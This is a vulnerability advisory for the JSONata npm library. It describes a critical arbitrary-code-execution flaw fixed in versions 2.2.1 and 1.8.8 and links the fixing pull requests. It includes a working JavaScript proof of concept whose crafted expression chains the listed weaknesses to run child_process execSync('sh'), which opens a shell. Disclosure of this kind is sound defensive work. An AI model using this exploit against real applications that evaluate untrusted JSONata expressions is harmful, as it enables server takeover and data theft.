PT-2026-80232 · Npm · Jsonata
Published
2026-08-21
·
Updated
2026-08-21
CVSS v4.0
9.3
Critical
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Before JSONata
2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to:- overwriting
$cloneallowing mutation of objects via transforms (seeevaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g.
$merge.*) - applyProcedure
using
proc.arguments.forEachand notArray.prototype.forEach
Which could be chained to execute arbitrary code.
This was fixed with:
- https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)
- https://github.com/jsonata-js/jsonata/pull/800
- https://github.com/jsonata-js/jsonata/pull/802
Which are included in the
2.2.1 release. Fixes were then back-ported to the 1.8.8 release.PoC
js
import jsonata from "jsonata";
const expression = jsonata(`
(
$obj := {};
$clone := function($o) { $o };
$m := ($merge.*)[1];
$fn := function($a) {
(
$a({"value":"lg"}," lookupGetter ");
$a({"value":"x"},"x");
)
};
$nop := function() { $ };
$capture := function($val) {
$obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
};
$ ~> | $ | $m([$nop,{" jsonata lambda":false}])|;
$ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
$ ~> | $ | {"body":$m([$capture,{" jsonata lambda":false}]).body}|;
$func := $m([$,{" jsonata lambda":true}]);
$func();
$gP := $obj.lg(" proto ");
$afn:=$spread($fn);
$afn{"x":$gP().constructor("return process.getBuiltinModule('child process').execSync('sh',{stdio:'inherit'})")()};
)
`);
await expression.evaluate({});References
Fix
Code Injection
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Weakness Enumeration
Related Identifiers
Affected Products
Jsonata